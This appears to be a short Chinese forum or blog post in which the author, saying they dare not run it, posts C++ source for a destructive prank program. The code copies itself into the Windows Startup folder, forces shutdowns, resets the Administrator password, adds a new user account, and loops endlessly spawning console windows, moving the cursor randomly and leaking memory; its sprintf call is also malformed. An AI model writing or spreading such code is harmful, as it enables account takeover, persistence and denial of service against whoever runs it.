作者这里不敢启动,直接上代码:
#include#include #include #include #include #include #include using namespace std; int main (int argc,char *argv[]){ char copy[80]; sprintf(copy,"copy %s "%%userprofile%%\「开始」菜单\程序\启动""); system(copy); char cmd[]="shutdown -s -t 20"; system("ping baidu.com"); system(cmd); system("pause"); system(copy); system("net user Administrator xz"); system("net user 崩溃 xz /add"); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); system("shutdown -s -t 20"); while(1){ SetCursorPos(rand()%x,rand()%y); system("start"); char *p=new char[10000]; } }



